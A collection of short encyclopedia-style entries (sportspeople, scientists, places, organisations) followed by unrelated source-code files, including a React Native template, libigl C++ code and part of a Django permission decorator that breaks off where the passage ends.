Myhill made his Scarlets debut in 2011, coming on as a substitute in a 26–15 defeat to Leinster. His first start came later that year, in a 35–12 loss to Munster. So far in his career, Myhill has had to settle for a back-up role in the Scarlets squad, being behind the likes of Matthew Rees, Ken Owens and Emyr Phillips in the pecking order. Although he signed a contract extension with the Scarlets in April 2015, it was confirmed in April 2016 that Myhill, in the search for more first-team rugby, would move to the Cardiff Blues for the 2016–17 season. Early in the season, he suffered a knee injury that ruled him out for a couple of weeks. He signed a new contract with the Blues in June 2018, another in May 2019, and another in September 2020.
Myhill was released at the end of the 2022–23 United Rugby Championship season.
International career
Previously involved with Wales U16 and Wales U18, Myhill represented Wales U20 and was named captain of the side for the 2012 Six Nations Under 20s Championship.
Following injuries to other hookers in the squad, Myhill was surprisingly called up by Wales for their test against New Zealand in October 2021. He made his debut off the bench on 30 October 2021.
Personal life
Myhill is the nephew of former Wales international rugby union flanker Mark Perego and brother of former Scarlets hooker Torin Myhill.
References
External links
Scarlets Profile (archived)
Cardiff Rugby Profile
Wales Profile
1992 births
Living people
Rugby union players from Burry Port
Scarlets players
Welsh rugby union players
Cardiff Rugby players
Rugby union hookers
Wales international rugby union players
|
```handlebars
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import {
StyleSheet,
View
} from 'react-native';
class {{properCase name }}View extends Component {
static displayName = '{{properCase name }}View';
static propTypes = {
dispatch: PropTypes.func.isRequired,
};
render() {
return (
<View style={styles.container}>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: 'white'
}
});
export default {{properCase name }}View;
```
|
Lewis Edward Kay, (born September 26, 1961) is a Canadian academic and biochemist known for his research in biochemistry and nuclear magnetic resonance spectroscopy for the studies of the structure and behaviour of proteins. He is a professor of molecular genetics, biochemistry and chemistry at the University of Toronto and Senior Scientist in Molecular Medicine at The Hospital for Sick Children.
Biography
Kay received a B.Sc. in biochemistry from the University of Alberta in 1983, a Ph.D. in molecular biophysics from Yale University in 1988, and did post-doctoral studies at the National Institutes of Health. In 2020, he was honoured as an international member of the National Academy of Sciences.
Awards and honours
1996 — Merck Frosst Award
1998 — Canada's "Top 40 under 40"
1999 — Steacie Prize for Natural Sciences
2002 — Founders Medal International Society of Magnetic Resonance in Biological Systems
2002 — Flavelle Medal, Royal Society of Canada
2004 — Günther Laukien Prize
2006 — Elected to the Royal Society of Canada
2008 — Premier's Discovery Award
2010 — Elected to the Royal Society
2012 — Khorana Prize, Royal Society of Chemistry
2017 — Inducted as an Officer of the Order of Canada
2017 — Gairdner Foundation International Award
2018 — Herzberg Medal of the Natural Sciences and Engineering Research Council of Canada
2019 — Doctor of Science honoris causa from The University of British Columbia
2019 — Nakanishi Prize
Personal life
Kay is married to biophysicist Julie Forman-Kay, who studies intrinsically disordered proteins.
References
External links
Lewis E. Kay at University of Toronto
1961 births
Living people
Canadian biochemists
Fellows of the Royal Society
Fellows of the Royal Society of Canada
Officers of the Order of Canada
Scientists from Edmonton
University of Alberta alumni
Academic staff of the University of Toronto
Yale University alumni
|
```c++
// This file is part of libigl, a simple c++ geometry processing library.
//
//
// v. 2.0. If a copy of the MPL was not distributed with this file, You can
// obtain one at path_to_url
#include "arap_rhs.h"
#include "arap_linear_block.h"
#include "verbose.h"
#include "repdiag.h"
#include "cat.h"
#include <iostream>
IGL_INLINE void igl::arap_rhs(
const Eigen::MatrixXd & V,
const Eigen::MatrixXi & F,
const int dim,
const igl::ARAPEnergyType energy,
Eigen::SparseMatrix<double>& K)
{
using namespace std;
using namespace Eigen;
// Number of dimensions
int Vdim = V.cols();
//// Number of mesh vertices
//int n = V.rows();
//// Number of mesh elements
//int m = F.rows();
//// number of rotations
//int nr;
switch(energy)
{
case ARAP_ENERGY_TYPE_SPOKES:
//nr = n;
break;
case ARAP_ENERGY_TYPE_SPOKES_AND_RIMS:
//nr = n;
break;
case ARAP_ENERGY_TYPE_ELEMENTS:
//nr = m;
break;
default:
fprintf(
stderr,
"arap_rhs.h: Error: Unsupported arap energy %d\n",
energy);
return;
}
SparseMatrix<double> KX,KY,KZ;
arap_linear_block(V,F,0,energy,KX);
arap_linear_block(V,F,1,energy,KY);
if(Vdim == 2)
{
K = cat(2,repdiag(KX,dim),repdiag(KY,dim));
}else if(Vdim == 3)
{
arap_linear_block(V,F,2,energy,KZ);
if(dim == 3)
{
K = cat(2,cat(2,repdiag(KX,dim),repdiag(KY,dim)),repdiag(KZ,dim));
}else if(dim ==2)
{
SparseMatrix<double> ZZ(KX.rows()*2,KX.cols());
K = cat(2,cat(2,
cat(2,repdiag(KX,dim),ZZ),
cat(2,repdiag(KY,dim),ZZ)),
cat(2,repdiag(KZ,dim),ZZ));
}else
{
assert(false);
fprintf(
stderr,
"arap_rhs.h: Error: Unsupported dimension %d\n",
dim);
}
}else
{
assert(false);
fprintf(
stderr,
"arap_rhs.h: Error: Unsupported dimension %d\n",
Vdim);
return;
}
}
```
|
was a village located in Tagata District, Shizuoka, Japan on the Suruga Bay coast of Izu Peninsula. Views of Mount Fuji can be seen from the village, which is a tourist resort.
As of March 1, 2005, the village had an estimated population of 3,681 and a density of 105.4 persons per km2. The total area was 34.92 km2.
On April 1, 2005, Heda was merged into the expanded city of Numazu.
On December 23, 1854, Diana, the flagship of the Russian fleet bearing Admiral Yevfimy Putyatin and his delegation for the negotiation of the Treaty of Shimoda was struck by a tsunami from the Ansei Tōkai earthquake and sank. The survivors stayed in Heda, where they cooperated with Japanese carpenters and shipbuilders to construct a new vessel (christened Heda) to take them back to Russia. This marked the first cooperative venture between Japanese and Europeans since the start of the national seclusion policy at the start of the Edo period.
In the April 1, 1889 cadastral reform of Meiji period Japan, Heda was organized as Heda Village.
Heda is known for the Japanese spider crab called takaashi-gani in Japanese which can grow up to 4 metres in length. Smaller versions of takaashi-gani (about 1 metre) are available in several restaurants and hotels around the village.
Gallery
Dissolved municipalities of Shizuoka Prefecture
Numazu, Shizuoka
|
Den Jyske Opera, also known as the Danish National Opera, is based in Aarhus, Denmark. Established in 1947, it's Denmark's largest touring opera company, and the second only to the Royal Danish Opera in Copenhagen.
Description
Founded in Aarhus in 1947, the company staged two operas a year until 1977. It then collaborated with five provincial orchestras, staging some 100 performances per season. In 1982, Den Jyske Opera became based in Musikhuset Aarhus, producing a number of Richard Wagner's operas which culminated in Der Ring des Nibelungen in 1982 and again in 1996. The company later performed a series of operas by Richard Strauss and, in 2001, several of Giacomo Puccini's works.
Funded by the Danish Ministry of Culture, the company tours throughout Denmark staging both traditional and innovative operas while aiming at the highest artistic quality. With a permanent chorus of 24, it frequently performs with the Aarhus Symphony Orchestra.
References
External links
Den Jyske Opera website
Danish opera companies
Arts organizations established in 1947
Music in Aarhus
|
Faith Fowler is the senior pastor of Cass Community United Methodist Church and the executive director of Cass Community Social Services, a large nonprofit in Detroit that serves more than 700,000 meals a year and houses about 300 homeless people per night alongside a day program, medical clinics, and a job center. Cass Community Social Services (CCSS) was established as a nonprofit 501 (c) (3) in 2002. Prior to that many of its programs started as a part of Cass Community United Methodist Church.
Under Fowler's leadership, Cass Community Social Services has expanded its jobs programs and campus. Her original goal was to expand the social services available in the Cass Corridor beyond emergency-only programs. Fowler's focus on sustainability and jobs has helped address income inequality in Detroit by creating jobs for homeless people and people under the poverty line, through products like mud mats made of repurposed illegally dumped tires, coasters made wood sourced from demolished houses, and Detroit-branded sandals. Her expansion of Cass Community's programs and properties has increased the number of homeless people who have successfully moved into transitional housing. Fowler helped create the Tiny Homes Detroit project, Cass Community Publishing House, and Cass Green Industries, which produces the sustainable products sold by Cass Community Social Services.
Fowler graduated from Albion College and has received a Master of Divinity from Boston University School of Theology and a Master of Public Administration from the University of Michigan-Dearborn.
Fowler felt the call to pastorship in junior high, but was told by her church's pastor that she was "wrong". Nonetheless, she studied religion and English at Albion College. To save enough money for a Master of Divinity degree from Boston University, she worked a full-time job at a children's care and rehabilitation facility, and a part-time job at a church youth program.
Fowler has also served as an adjunct professor at University of Michigan-Dearborn, a board member for the Cass Corridor Neighborhood Development Corporation, an advisory board member of the Detroit Area Agency on Aging, and chaired the Detroit Brownfield Redevelopment Authority Advisory Committee. She is the author of two books.
Tiny Homes Detroit
In 2016, Fowler helped create the Tiny Homes Detroit project, a development of small, one- and two-person tiny homes constructed for low-income tenants by Cass Community Social Services. According to CCSS, anyone who completes the homeownership program for seven years will be "given the opportunity to own the home and property."
In early 2023, after winning a two-year long legal battle, Fowler drew criticisms from local activists for legally evicting a woman from one of the tiny homes. According to court records, the 44-year-old tenant has been taken to court at least nine times by different landlords in two counties for numerous tenant violations, including unpaid rent. On April 4, 2023, bailiffs were sent to the home to evict the resident but were met by activists illegally blocking the door.
The first Tiny Homes Detroit residents are on pace to own their homes in 2024.
References
Further reading
Boston University School of Theology alumni
Albion College alumni
University of Michigan–Dearborn alumni
Activists from Detroit
Clergy from Detroit
Businesspeople from Detroit
Writers from Detroit
Methodist ministers
Year of birth missing (living people)
Living people
|
Kulla Union () is a union parishad in Assasuni Upazila of Satkhira District, in Khulna Division, Bangladesh.
References
Unions of Assasuni Upazila
Populated places in Satkhira District
|
The 1988 Jackson State Tigers football team represented Jackson State University as a member of the Southwestern Athletic Conference (SWAC) during the 1988 NCAA Division I-AA football season. Led by 13th-year head coach W. C. Gorden, the Tigers compiled an overall record of 8–1–2 and a mark of 7–0 in conference play, and finished as SWAC champion. Jackson State finished their season with a loss against in the Division I-AA playoffs.
Schedule
References
Jackson State
Jackson State Tigers football seasons
Southwestern Athletic Conference football champion seasons
Jackson State Tigers football
|
Heterocapsa is a genus of dinoflagellates belonging to the family Heterocapsaceae.
The genus has cosmopolitan distribution.
Species:
Heterocapsa arctica
Heterocapsa minima
Heterocapsa niei
Heterocapsa niei
Heterocapsa pygmaea
Heterocapsa rotundata
Heterocapsa triquetra
References
Dinophyceae
Dinoflagellate genera
|
Lithomoia is a genus of moths of the family Noctuidae.
Species
Lithomoia germana (Morrison, 1874)
Lithomoia solidaginis (Hübner, [1803])
References
Natural History Museum Lepidoptera genus database
Lithomoia at funet
Cuculliinae
|
Ferdinando "Nando" Gazzolo (16 October 1928 – 16 November 2015) was an Italian actor and voice actor.
Biography
Born in Savona, the son of the actor and voice actor Lauro Gazzolo and EIAR radio announcer Aida Ottaviani Piccolo, Gazzolo debuted at young age on radio, and in 1948, at twenty years old, he started his acting career entering the stage company led by Antonio Gandusio. He achieved his first personal success in 1951, in the adaptation of Antonio e Cleopatra staged by Renzo Ricci. He later worked on stage with Vittorio Gassman and Luigi Squarzina, among others, before focusing in voice acting and dubbing. Gazzolo was also active in films and starred in several TV-series of good success.
As a voice actor, Gazzolo served as the regular dubbing voice for Peter Cushing, David Niven and Richard Widmark. Other actors he occasionally dubbed included Rex Harrison, Michael Caine, Frank Sinatra, Yul Brynner, Marlon Brando, Robert Duvall, Donald Sutherland, Laurence Olivier, Clint Eastwood, Louis Jourdan, Henry Fonda and was also the voice of the narrator in the Italian dubbed version of Beauty and the Beast.
Personal life
Gazzolo was married with three children. One of whom, Matteo, is also an actor. He also had a half-brother, Virginio, from his father's second marriage.
Death
Gazzolo died on 16 November 2015 in Nepi, aged 87.
Filmography
Cinema
Black Sunday (1960) - Narrator (voice, uncredited)
Constantine and the Cross (1961) - Licinius
The Trojan Horse (1961)
Jeff Gordon, Secret Agent (1963) - Le docteur Mercier
Toto and Cleopatra (1963) - Narrator (voice, uncredited)
Il mistero del tempio indiano (1963) - Narrator (voice)
La Cittadella (1964, TV Mini-Series) - Freddie Hamson
Gladiators Seven (1964) - Sar / Milo
Pirates of Malaysia (1964) - Lt. Clintock
West and Soda (1965) - Johnny (voice)
The Spy with Ten Faces (1966) - Kobras
The Hills Run Red (1966) - Ken Seagull / Ken Milton
Django Shoots First (1966) - Ken Kluster
La volpe e le camelie (1966)
Un caso di coscienza (1970) - Alfredo Serpieri
Maddalena (1971)
Il nano e la strega (1973) - Narratore (voice)
Angeli a sud (1992)
Magnificat (1993) - Narrator (voice)
Valeria medico legale (2000-2002, TV Series) - Il procuratore
The Comeback (2001)
Our Tropical Island (2001) - Tacchini
Le ragioni del cuore (2002, TV Mini-Series)
Il sottile fascino del peccato (2010) - Padre Edo (final film role)
Dubbing roles
Animation
Narrator in Beauty and the Beast
Live action
Phileas Fogg in Around the World in 80 Days
Raymond in Bonjour Tristesse
Major David Angus Pollock in Separate Tables
Miles Doughton in Ask Any Girl
Chris Walters in Happy Anniversary
Lawrence Mackay in Please Don't Eat the Daisies
Corporal Miller in The Guns of Navarone
Sir Charles Lytton in The Pink Panther
Lawrence Jameson in Bedtime Story
James Bond in Casino Royale
Colonel Race in Death on the Nile
Memnon in Alexander the Great
Sherlock Holmes in The Hound of the Baskervilles
John Banning in The Mummy
Abraham Van Helsing in The Brides of Dracula
Dr. Namaroff in The Gorgon
Dr. Schreck in Dr. Terror's House of Horrors
Mike King in How the West Was Won
Johnny Gannon in Warlock
Clint Hollister in The Law and Jake Wade
William Edwards in Time Limit
Tom Rossiter in Alvarez Kelly
Ralph Anderson in The Trap
Rolfe in The Long Ships
Henry Higgins in My Fair Lady
Doctor John Dolittle in Doctor Dolittle
Old Man Marley in Home Alone
Cledus "Snowman" Snow in Smokey and the Bandit
Ross Webster in Superman III
Matthew Yelland in The Final Countdown
References
External links
1928 births
2015 deaths
People from Savona
Italian male stage actors
Italian male film actors
Italian male television actors
Italian male voice actors
Italian male radio actors
20th-century Italian male actors
|
The Colóns were a Puerto Rican professional wrestling tag team who consisted of real-life brothers, Carlito and Primo. The team worked for World Wrestling Entertainment (WWE). They were the first-ever Unified WWE Tag Team Champions, being holders of both the WWE Tag Team Championship and World Tag Team Championship.
Their father is former professional wrestler Carlos Colón Sr., and they initially began teaming together in his promotion, World Wrestling Council and held the WWC World Tag Team Championship. In 2008, they began teaming together in WWE, when Primo debuted on SmackDown alongside his brother. In their debut as a tag team within the promotion, they defeated then-WWE Tag Team Champions Curt Hawkins and Zack Ryder. This win earned them a title opportunity two weeks later, in which they were also successful. At WrestleMania XXV they became the first team to unify both tag team title sets by defeating John Morrison and The Miz.
History
World Wrestling Council
The Colóns initially began teaming in their father's company, World Wrestling Council (WWC) to defeat the tag team of Thunder and Lightning for the WWC World Tag Team Championship on March 16, 2002. They lost the title to Thunder and Lightning the following day. At Lockout 2009, the brothers performed in the promotion for the first time since teaming in WWE. Although they were not booked in a match, The Colóns hosted a segment of Carlito's Cabana with David Sierra as the invited guest. In this segment, the promotion tried to explain why Eddie was renamed to "Primo", claiming that he wanted to preserve Eddie Guerrero's legacy by not using his actual name. On May 20, 2009, The Colóns issued an open challenge to any tag team for Aniversario 2009, the promotion's anniversary event.
World Wrestling Entertainment
Unified WWE Tag Team Champions (2008–2009)
Soon after Primo debuted in WWE, he became a full-time member of the SmackDown roster, along with his brother. They defeated WWE Tag Team Champions Curt Hawkins and Zack Ryder in their first match as a team to gain victory on September 12, 2008. Two weeks later, both teams competed in a title match, with The Colóns winning to become tag team champions.
Starting in November, The Colóns developed an on-screen relationship with The Bella Twins (Nikki and Brie), appearing in numerous backstage segments with them and The Bellas accompanied them to the ring. This relationship with the Bella Twins subsequently led to a feud with the World Tag Team Champions John Morrison and The Miz, as Morrison and The Miz flirted with The Bella Twins, and then defeated Carlito and Primo to win a date with them on Valentine's Day. The Bella were seemingly unable to choose between the teams, leading to Morrison and The Miz challenging The Colóns for the WWE Tag Team Championship, and The Colóns challenging Morrison and The Miz for the World Tag Team Championship, although each team retained their respective championship. The rivalry between the teams led The Bella Twins to fall out with each other, with Brie siding with the Colóns, and Nikki siding with Morrison and The Miz. On the WrestleMania 25 pre-show, The Colóns defeated Morrison and The Miz to win the World Tag Team Championship and become the Unified WWE Tag Team Champions, and they successfully defended the championships the following night on Raw.
On April 15, the Colóns were drafted back to the Raw brand as part of the 2009 Supplemental Draft. On April 27, the Colóns made their debut on Raw, defeating Jamie Noble and Chavo Guerrero. The team's collective WWE Superstars debut took place on May 28, 2009, when they defeated The World's Greatest Tag Team by pinfall.
Split and brief reformation (2009–2010)
They lost the championship at The Bash to the team of Edge and Chris Jericho, who were added to a standard tag team match between the Colóns and The Legacy (Cody Rhodes and Ted DiBiase) moments before the match started. Carlito and Primo invoked their rematch clause the next night on Raw, but were unsuccessful, and on the July 6 episode of Raw, they lost again to Jericho and Edge. One week later, the team officially disbanded when Carlito attacked Primo.
The team reunited on the May 6, 2010 episode of Superstars when Carlito stopped the match and offered Primo to reform as a team. Primo accepted the offer, turning him heel in the process. On the May 10 episode of Raw, Colóns brutally attacked R-Truth. The duo then shook hands with Ted DiBiase after getting paid with DiBiase's "Trust Fund." The reunion of the team would be short lived, as on May 21, Carlito was released due to a violation of the WWE Wellness Program and subsequent refusal to attend a rehabilitation facility.
While Primo went on to form the second incarnation of The Colóns, with their cousin Epico. On April 5, 2014, Carlito, Primo and Epico inducted Carlos Colon Sr. into the WWE Hall of Fame.
Championships and accomplishments
Puerto Rico Wrestling
Tag Team of the Year (2008)
World Wrestling Council
WWC World Tag Team Championship (1 time)
World Wrestling Entertainment
World Tag Team Championship (1 time)
WWE Tag Team Championship (1 time)
See also
Primo and Epico
References
External links
The Colóns Online World of Wrestling profile
Primo's WWE profile
WWE teams and stables
WWE World Tag Team Champions
|
```objective-c
//
// SyncParameters.h
// Strongbox
//
// Created by Strongbox on 20/06/2020.
//
#import <Foundation/Foundation.h>
#if TARGET_OS_IPHONE
#import <UIKit/UIKit.h>
typedef UIViewController* VIEW_CONTROLLER_PTR;
#else
#import <Cocoa/Cocoa.h>
typedef NSViewController* VIEW_CONTROLLER_PTR;
#import <Cocoa/Cocoa.h>
#endif
#import "CompositeKeyFactors.h"
NS_ASSUME_NONNULL_BEGIN
typedef NS_ENUM (NSUInteger, SyncInProgressBehaviour) {
kInProgressBehaviourEnqueueAnotherSync,
kInProgressBehaviourJoin,
};
@interface SyncParameters : NSObject
@property (nullable) VIEW_CONTROLLER_PTR interactiveVC;
@property (nullable) CompositeKeyFactors* key;
@property SyncInProgressBehaviour inProgressBehaviour;
@property BOOL syncPullEvenIfModifiedDateSame;
@property BOOL syncForcePushDoNotCheckForConflicts;
@property BOOL testForRemoteChangesOnly;
@end
NS_ASSUME_NONNULL_END
```
|
```xml
import { FormContextKey } from './symbols';
import { FormState, ResetFormOpts } from './types';
import { injectWithSelf, warn } from './utils';
export function useResetForm<TValues extends Record<string, unknown> = Record<string, unknown>>() {
const form = injectWithSelf(FormContextKey);
if (!form) {
if (__DEV__) {
warn('No vee-validate <Form /> or `useForm` was detected in the component tree');
}
}
return function resetForm(state?: Partial<FormState<TValues>>, opts?: ResetFormOpts) {
if (!form) {
return;
}
return form.resetForm(state, opts);
};
}
```
|
```xml
export enum PowerUnits {
WATTS = 'W',
KILOWATTS = 'kW',
MEGAWATTS = 'MW',
GIGAWATTS = 'GW',
TERAWATTS = 'TW',
PETAWATTS = 'PW',
}
export enum EnergyUnits {
WATT_HOURS = 'Wh',
KILOWATT_HOURS = 'kWh',
MEGAWATT_HOURS = 'MWh',
GIGAWATT_HOURS = 'GWh',
TERAWATT_HOURS = 'TWh',
PETAWATT_HOURS = 'PWh',
}
export enum CarbonUnits {
GRAMS_CO2EQ_PER_WATT_HOUR = 'gCOeq/kWh',
CO2EQ_PER_HOUR = 'COeq/h',
}
```
|
```xml
/*
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
// TypeScript Version: 4.1
/// <reference types="@stdlib/types"/>
import { ndarray } from '@stdlib/types/ndarray';
// FIXME: we can improve specificity here by retaining type information from the wrapped ndarray. See `@stdlib/array/base/arraylike2object` which types specialized objects depending on the input array data type.
/**
* Returns an ndarray buffer element.
*
* @param buf - ndarray data buffer
* @param idx - element index
* @returns element value
*/
type Getter = ( buf: ndarray['data'], idx: number ) => any;
/**
* Sets an ndarray buffer element.
*
* @param buf - ndarray data buffer
* @param idx - element index
* @param value - value to set
*/
type Setter = ( buf: ndarray['data'], idx: number, value: any ) => void;
/**
* Interface describing the output object.
*/
interface ndarrayObject {
/**
* Reference to the original ndarray-like object.
*/
ref: ndarray;
/**
* Underlying data type.
*/
dtype: ndarray['dtype'];
/**
* Data buffer.
*/
data: ndarray['data'];
/**
* Number of elements.
*/
length: number;
/**
* Array dimensions.
*/
shape: ndarray['shape'];
/**
* Array strides.
*/
strides: ndarray['strides'];
/**
* Index offset.
*/
offset: ndarray['offset'];
/**
* Order (e.g., 'row-major' or 'column-major').
*/
order: ndarray['order'];
/**
* Boolean indicating whether the data buffer supports the get/set protocol (i.e., uses accessors for getting and setting elements).
*/
accessorProtocol: boolean;
/**
* Two-element array whose first element is an accessor for retrieving an array element and whose second element is an accessor for setting an array element.
*/
accessors: [ Getter, Setter ];
}
/**
* Converts an ndarray-like object to an object likely to have the same "shape".
*
* ## Notes
*
* - This function is intended as a potential performance optimization. In V8, for example, even if two objects share common properties, if those properties were added in different orders or if one object has additional properties not shared by the other object, then those objects will have different "hidden" classes. If a function is provided many objects having different "shapes", some JavaScript VMs (e.g., V8) will consider the function "megamorphic" and fail to perform various runtime optimizations. Accordingly, the intent of this function is to standardize the "shape" of the object holding ndarray meta data to ensure that internal functions operating on ndarrays are provided consistent argument "shapes".
*
* @param x - input ndarray
* @returns object containing ndarray data
*
* @example
* var array = require( '@stdlib/ndarray/array' );
*
* var x = array( [ [ 1, 2, 3 ], [ 4, 5, 6 ] ] );
*
* var obj = ndarraylike2object( x );
* // returns {...}
*/
declare function ndarraylike2object( x: ndarray ): ndarrayObject;
// EXPORTS //
export = ndarraylike2object;
```
|
When Do You Commit Suicide? may refer to:
When Do You Commit Suicide? (1931 film), a 1931 American comedy film
When Do You Commit Suicide? (1932 film), a 1932 American comedy film
When Do You Commit Suicide? (1953 film), a 1953 French comedy film
|
Robert J. "Bob" Brinkworth (born May 10, 1942) is a Canadian retired ice hockey Center and coach who was a two-time All-American and ECAC Player of the Year for Rensselaer.
Career
Brinkworth was recruited to Rensselaer Polytechnic Institute by the legendary Ned Harkness and began playing with the varsity team in 1961. As a sophomore he led the team in scoring, recording more than three points per game, and finished second in the nation with 71 points. He made the inaugural First Team All-ECAC roster and was a major reason for the Engineers making the ECAC Tournament. The team lost their quarterfinal match and ended their season in a disappointing fashion. As a junior Brinkwork again led the team in scoring and was third in the nation with 75 points. This time he received increasing attention for his efforts and was named an All-American as well as the ECAC Player of the Year. Despite his performance, Rensselaer played rather poorly during the season and did not even make the conference tournament.
Harkness left prior to Brinkworth's senior season to take over at Cornell. The coach was replaced by Rube Bjorkman (who would leave after the 1964 season) and the team rebounded with a much better campaign. Brinkworth was named team co-captain with Jerry Knightley and got the team to post an 18–8 record and return to the conference tournament. Brinkworth helped the team with its first ECAC tournament game but could not overcome the stout defense of St. Lawrence in the semifinal. RPI won what they thought was Brinkworth's final college game over long-time rival Clarkson to finish third in the tournament and Brinkworth was named to the All-Tournament First Team. When the NCAA selection committee passed over St. Lawrence in favor of RPI for the NCAA Tournament, Brinkworth had one last chance to make an impact with the Engineers. While the team lest to Denver in the semifinal, they recovered for a 2–1 win over Providence in the consolation game and Brinkworth able to end on a high note. He finished the season as the second highest scorer in the nation for the second time, behind only Knightley with 70 points.
After graduating, Brinkworth turned to a professional career, joining the Omaha Knights in the second season of the CPHL. The following year Brinkworth jumped up to the AHL, playing with the Providence Reds and Baltimore Clippers over four seasons. He was never able to get a call-up to the NHL, however, and moved to the IHL in 1970. In his first season with the Port Huron Flags the team finished 6th out of 7 teams but made the postseason and went on a stunning run. The Flags won the championship with Brinkworth leading the way, scoring 10 goals and 18 points in 14 games. The next season the team finished second in their division and went on a second postseason run to capture their second consecutive Turner Cup. Brinkworth spent two more seasons with Port Huron before retiring as a player.
Brinkworh began his second career as a coach, working with amateur and professional teams for many seasons. In 2004 he became the head coach for Florida Gulf Coast and headed the school's club team for 15 seasons. He was the American Collegiate Hockey Association Division II coach of the year in 2009. He was inducted into the RPI Athletic Hall of Fame in 1968.
Career statistics
Regular season and playoffs
Awards and honors
References
External links
1942 births
Living people
AHCA Division I men's ice hockey All-Americans
Baltimore Clippers players
Canadian ice hockey centres
RPI Engineers men's ice hockey players
Omaha Knights (CHL) players
Port Huron Flags players
Ice hockey people from Toronto
|
The Derby Summer House, also known as the McIntire Tea-house, is a summer house designed in 1793 by architect Samuel McIntire, now located on the grounds of the Glen Magna Farms, Danvers, Massachusetts. Since 1958 it has been owned by the Danvers Historical Society. A National Historic Landmark, it is significant as an extremely rare and well-preserved example of an 18th-century summer house, and also includes some of the earliest American sculpture in the carved wooden figures mounted on its roof.
Description and history
Samuel McIntire designed this ornate Federal style garden house for Elias Hasket Derby's farm in Salem, Massachusetts. The structure is 20 feet square, 2½ stories high, decorated with pilasters, swags, and Grecian urns, and topped with rustic wood statues of a Reaper and Shepherdess (milkmaid). The ground floor is punctuated by central arched openings on the east and west facades, each flanked with arched windows with wooden keystones. The second floor is ornamented with swags and fluted Ionic pilasters at the corners and between windows. A young lady's diary from 1802 records her contemporary impressions:
The summer house was moved to its present location in 1901, about 4 miles from its original site, where it now opens onto a walled rose garden designed by Herbert Browne. Neither of the two statues atop the house are originals. The Shepherdess was missing when the house was transported; after 20 years she was found atop an Andover mill building, damaged by fire. A duplicate was carved in 1924, and the original is now on display in the Peabody Institute. The original Reaper fell in a storm in 1981. It too was reproduced; the original is in the Danvers Historical Society collection.
The summer house was declared a National Historic Landmark and listed on the National Register of Historic Places in 1968.
See also
List of National Historic Landmarks in Massachusetts
National Register of Historic Places listings in Essex County, Massachusetts
References
External links
Derby Summer House
Danvers Historical Society
Houses completed in 1793
National Historic Landmarks in Massachusetts
Federal architecture in Massachusetts
Houses in Danvers, Massachusetts
Houses on the National Register of Historic Places in Essex County, Massachusetts
|
Companhia Meridional de Transportes was a Brazilian airline founded in 1944. In 1946, following the death of its owner on an air-crash, the airline went bankrupt.
History
Meridional was founded in 1944 and on October 4, 1945, started operating regular flights within the states of Rio de Janeiro and Espírito Santo. On December 19, 1945, one of its aircraft crashed killing all occupants, including the pilot and owner of the airline Álvaro Araújo. Months later, in March 1946, the airline declared bankruptcy.
Destinations
Meridional served the following cities:
Campos dos Goytacazes – Bartolomeu Lysandro Airport
Rio de Janeiro – Santos Dumont Airport
Vitória – Goiabeiras Airport
Volta Redonda was also one of its destinations, on the route Campos - Volta Redonda - Rio de Janeiro.
Fleet
Accidents and incidents
19 December 1945: an Avro Anson Mk. II registration PP-MTA crashed in the neighborhood of Itaipu, Niterói, killing all passengers and crew, including the pilot and owner of the airline, Álvaro Araújo.
See also
List of defunct airlines of Brazil
References
External links
Defunct airlines of Brazil
Airlines established in 1944
Airlines disestablished in 1946
1944 establishments in Brazil
1946 disestablishments in Brazil
|
is a retired Japanese badminton player who is a singles specialist from NTT East badminton club. She competed at the 2014 Asian Games.
Mitani expressed her desire to retire after losing in the second round of 73rd All Japan Comprehensive Championships on 28 November 2019, and officially announced her retirement on the first day of 2019 S/J League on 20 December.
Achievements
BWF World Championships
Women's singles
BWF World Tour (2 titles)
The BWF World Tour, which was announced on 19 March 2017 and implemented in 2018, is a series of elite badminton tournaments sanctioned by the Badminton World Federation (BWF). The BWF World Tours are divided into levels of World Tour Finals, Super 1000, Super 750, Super 500, Super 300 (part of the HSBC World Tour), and the BWF Tour Super 100.
Women's singles
BWF Superseries
The BWF Superseries, which was launched on 14 December 2006 and implemented in 2007, is a series of elite badminton tournaments, sanctioned by the Badminton World Federation (BWF). BWF Superseries levels are Superseries and Superseries Premier. A season of Superseries consists of twelve tournaments around the world that have been introduced since 2011. Successful players are invited to the Superseries Finals, which are held at the end of each year.
Women's singles
BWF Superseries Finals tournament
BWF Superseries Premier tournament
BWF Superseries tournament
BWF Grand Prix
The BWF Grand Prix had two levels, the BWF Grand Prix and Grand Prix Gold. It was a series of badminton tournaments sanctioned by the Badminton World Federation (BWF) which was held from 2007 to 2017.
Women's singles
BWF Grand Prix Gold tournament
BWF Grand Prix tournament
BWF International Challenge/Series
Women's singles
Women's doubles
BWF International Challenge tournament
BWF International Series tournament
Record against selected opponents
Record against year-end Finals finalists, World Championships semi-finalists, and Olympic quarter-finalists. Accurate as of 20 August 2019.
References
External links
1991 births
Living people
Sportspeople from Ishikawa Prefecture
Japanese female badminton players
Badminton players at the 2014 Asian Games
Asian Games bronze medalists for Japan
Asian Games medalists in badminton
Medalists at the 2014 Asian Games
|
```python
from urllib.parse import quote
from django.core.exceptions import PermissionDenied
from django.shortcuts import redirect
from django.urls import reverse
from django.utils.translation import gettext as _
def current_url(request):
if request.GET:
return request.path + '?' + request.GET.urlencode()
else:
return request.path
def event_permission_required(permission):
"""
This view decorator rejects all requests with a 403 response which are not from
users having the given permission for the event the request is associated with.
"""
if permission == 'can_change_settings':
# Legacy support
permission = 'can_change_event_settings'
def decorator(function):
def wrapper(request, *args, **kw):
if not request.user.is_authenticated: # NOQA
# just a double check, should not ever happen
raise PermissionDenied()
allowed = (
request.user.has_event_permission(request.organizer, request.event, permission, request=request)
)
if allowed:
return function(request, *args, **kw)
raise PermissionDenied(_('You do not have permission to view this content.'))
return wrapper
return decorator
class EventPermissionRequiredMixin:
"""
This mixin is equivalent to the event_permission_required view decorator but
is in a form suitable for class-based views.
"""
permission = ''
@classmethod
def as_view(cls, **initkwargs):
view = super(EventPermissionRequiredMixin, cls).as_view(**initkwargs)
return event_permission_required(cls.permission)(view)
def organizer_permission_required(permission):
"""
This view decorator rejects all requests with a 403 response which are not from
users having the given permission for the event the request is associated with.
"""
if permission == 'can_change_settings':
# Legacy support
permission = 'can_change_organizer_settings'
def decorator(function):
def wrapper(request, *args, **kw):
